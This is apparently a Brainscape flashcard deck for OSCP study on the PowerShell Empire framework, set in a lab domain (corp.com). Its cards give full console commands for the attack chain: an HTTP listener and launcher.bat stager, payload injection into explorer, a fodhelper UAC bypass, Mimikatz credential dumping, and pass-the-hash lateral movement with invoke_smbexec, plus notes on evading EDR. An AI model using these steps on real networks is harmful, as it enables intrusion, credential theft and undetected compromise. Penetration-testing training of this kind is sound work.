Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

OSCP > PowerShell Empire > Flashcards

PowerShell Empire Flashcards

1
Q

What is the name of the Github repository of Empire?

A

PowerShellEmpire

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

How do you install Empire?

A
  1. Clone Github repo
  2. cd Empire
  3. sudo ./setup/install.sh
  4. sudo ./Empire
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

How do you see a list of Empire listeners?

A
    • (Empire) > listeners

- - (Empire: listeners) > uselistener

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What are the available listeners in Empire?

A
  • dbx
  • http = most basic
  • http_com
  • http_foreign
  • http_hop
  • http_mapi
  • meterpreter
  • redirector = creates a pivot that enables communication with an internal network
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

How do you select the http listener and select a Host listener IP of 10.11.0.4?

A
    • (Empire: listeners) > uselistener http
    • (Empire: listeners) > set Host 10.11.0.4
    • (Empire: listeners/http) > execute
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

If you are in a selected listener, how to you return to the main Listener Menu?

A

(Empire: listeners/http) > back

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

How can you list the available Stagers?

A
  • ** Make sure you are in the Listener main menu ***

- - (Empire: listeners) > usestager

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What are some support examples that Empire Stagers provide?

A
  • DLLs
  • HTML applications
  • Microsoft Office Macros
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

How do you select the ‘windows/launcher_bat’ Stager for the HTTP Listener?

A

– (Empire: listeners) > usestager windows/launcher_bat
– Empire: stager/windows/launcher_bat) > set Listener http
– (Empire: stager/windows/launcher_bat) > execute
** Here is the output **
[] Stager output written out to: /tmp/launcher.bat
————————————–
** The Stager must then be copied to the target and executed

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

How can we examine what the ‘windows/launcher_bat’ Stager does?

A

– kali@kali:/opt/Empire$ cat /tmp/launcher.bat

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

What is an Empire ‘Agent’?

A
  • the final payload retrieved by the Stager
  • it allows us to execute commands and interact with the system
  • the Stager deletes itself and exits once it finishes execution
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

What happens once the ‘Agent’ is operational on the target?

A
  • the ‘Agent’ will set up an AES-encrypted communication channel with the listener using the data portion of the HTTP GET and POST requests
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

How do we get the ‘Agent’ operational on the target?

A
  • We execute copy the Stager output to the target and execute it
  • For example, launcher.bat
    • C:\Users\Offsec\Documents> launcher.bat
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Once the ‘Agent’ is operational, how do we view it in Empire?

A

(Empire: stager/windows/launcher_bat) > agents

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Once the ‘Agent’ is operational, how do we interact with it in Empire?

A

(Empire: agents) > interact S2Y5XW1L

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

How do we migrate our payload into a process on the target from the ‘Agent’ interaction in Empire?

A
  1. Display processes running on the target
    - - (Empire: S2Y5XW1L) > ps
  2. Inject the Payload
    - - (Empire: S2Y5XW1L) > psinject http 3568
    - ————————————-
    * ** In the example, the process selected for payload injection was ‘explorer’ ***
    - ————————————-
  3. See the new Agent is created
    - - (Empire: DWZ49BAP) > agents
  4. Switch to the new Agent
    - - (Empire: agents) > interact DWZ49BAP
    - ————————————
    * ** You must switch to the new Agent that is generated after injecting the payload into the running process ***
17
Q

How do you list the available Empire modules?

A

– (Empire: S2Y5XW1L) > usemodule

18
Q

Which Empire module focuses on local client and AD enumeration?

A

situational_awareness

19
Q

What is the module path for Powerview?

A

situational_awareness/network/powerview

20
Q

How do you display the options of the module?

A

info

21
Q

What does it mean if the ‘NeedsAdmin’ field is set to ‘True’?

A
  • the script requires local Administrators permissions
22
Q

What does it mean if the ‘OpsecSafe’ field is set to ‘True’?

A
  • will avoid leaving behind indicators of compromise, such as temporary disk files or new user accounts
23
Q

What does it mean if the ‘MinLanguageVersion’ field is set to ‘True’?

A
  • describes the minimum version of PowerShell required to execute the script
  • ** Especially relevant with Windows 7 or Windows Server 2008 R2 that ship with PowerShell v.2
24
Q

What does it mean if the ‘Background’ field is set to ‘True’?

A
  • the module executes in the background w/o visibility for the victim
25
Q

What does it mean if the ‘OutputExtension’ field is set to ‘True’?

A
  • tells us the output format if the module returns output to a file
26
Q

How would you initiate the ‘get_user’ module?

A

– > (powershell/situational_awareness/ network/powerview/get_user) > execute

27
Q

What Empire module uses several techniques based on misconfigurations such as unquoted service paths and improper permissions on service executables?

How do you initiate it?

A
  • The ‘allchecks’ module within the ‘privesc’ category
    – (Empire: powershell/situational_awareness/ network/powerview/get_user) > usemodule powe
    rshell/privesc/powerup/allchecks
    – (Empire: powershell/privesc/powerup/ allchecks) > execute
    —————————————–
    ** ‘allchecks’ tells you is if this user is a local admin **
    [*] Checking if user is in a local group with administrative privileges…
    [+] User is in a local group that grants administrative privileges!
    [+] Run a BypassUAC attack to elevate privileges to admin.
28
Q

Which Empire module can bypass UAC and launch a high-integrity PowerShell Empire agent?

What is required to use this?

How do you launch it?

A
  • bypassuac_fodhelper module in the ‘privesc’ category
  • requires access to a local administrator account
    • (Empire: S2Y5XW1L) > usemodule privesc/bypassuac_fodhelper
  • Then need to set the ‘http’ Listener
    • (Empire: powershell/privesc/bypassuac_fodhelper) > set Listener http
  • Finally, execute the module
    • (Empire: powershell/privesc/bypassuac_fodhelper) > execute
29
Q

Which module category are the Mimikatz modules located?

A
  • credentials
30
Q

What do the asterisks next to Mimikatz modules mean?

A
  • they require a high-integrity Empire agent
31
Q

How does Empire load Mimikatz libraries into the agent?

Why does this help prevent detection?

A
  • Empire uses reflective DLL injection to load the Mimikatz library into the agent directly from memory
  • Loading malicious executables in this way minimizes the risk of detection since most EDR solutions only analyze files stored on the hard drive
32
Q 
What module allows you to get the passwords of logged on users?
What command allows you to get passwords from logged on users?
A
  • credentials/mimikatz/logonpasswords
  • mimikatz(powershell) # sekurlsa::logonpasswords
  • To get the credentials that are written to the credential store, use ‘creds’
    • (Empire: K678VC13) > creds
33
Q

Once we have user credentials, what is our goal?

A
  • lateral movement

- logon to additional systems until we reach our objective

34
Q

How can you use ‘lateral_movement’ module category to get a System shell?

A
  • We can use the ‘lateral_movement/invoke_ smbexec’ module, with the following parameters:
    • ComputerName = hostname of the Windows 10 client
    • Listener = http
    • Username = ‘jeff_admin’
    • Domain = ‘corp.com’
    • Hash = the ‘jeff_admin’ hash obtained from Mimikatz ‘logonpasswords’ module
    • (Empire: K678VC13) > usemodule lateral_movement/invoke_smbexec
    • (Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName client251
    • (Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http
    • (Empire: powershell/lateral_movement/invoke_smbexec) > set Username jeff_admin
    • (Empire: powershell/lateral_movement/invoke_smbexec) > set Hash e2b475c11da2a0748290d8
    • (Empire: powershell/lateral_movement/invoke_smbexec) > set Domain corp.com
    • (Empire: powershell/lateral_movement/invoke_smbexec) > execute
    • (Empire: agents) > interact UXVZ2NC3

OSCP (14 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2024 Bold Learning Solutions. Terms and Conditions